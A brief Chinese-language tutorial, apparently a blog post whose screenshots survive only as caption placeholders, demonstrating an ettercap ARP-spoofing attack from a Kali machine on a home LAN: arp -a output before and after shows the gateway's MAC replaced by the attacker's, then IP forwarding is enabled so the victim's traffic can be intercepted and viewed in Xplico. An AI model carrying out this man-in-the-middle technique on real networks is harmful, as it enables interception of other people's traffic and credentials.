root@kali:~# ettercap -G

 

 ettercap修改网关_修改网关

 

 

ettercap修改网关_ettercap_02

ettercap修改网关_修改网关_03

ettercap修改网关_修改网关_04


 

攻击前，在192.168.1.105被攻击主机上查看，192.168.1.75是kali ettercap攻击主机

C:\Users\ss>arp -a

接口: 192.168.1.105 --- 0x4

 Internet 地址         物理地址              类型

  192.168.1.1           a4-93-4c-a3-a9-03     动态

  192.168.1.75          80-00-0b-66-a5-44     动态

 


ettercap修改网关_ettercap_05

ettercap修改网关_ettercap_06

ettercap修改网关_修改网关_07

ettercap修改网关_修改网关_08




攻击后，在192.168.1.105被攻击主机上查看

C:\Users\ss>arp -a

接口: 192.168.1.105 --- 0x4

  Internet 地址         物理地址              类型

  192.168.1.1           80-00-0b-66-a5-44     动态

  192.168.1.75          80-00-0b-66-a5-44     动态

 

由于网关错误，不能上网

 

 

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward    （在kali ettercap攻击主机中开启转发功能，使被攻击端通过kali ettercap攻击主机上网。）

 

192.168.1.105主机上网，已经可以被192.168.1.75截获

 

可以通过在192.168.1.75主机上安装xplico web gui方便的查看截取的数据。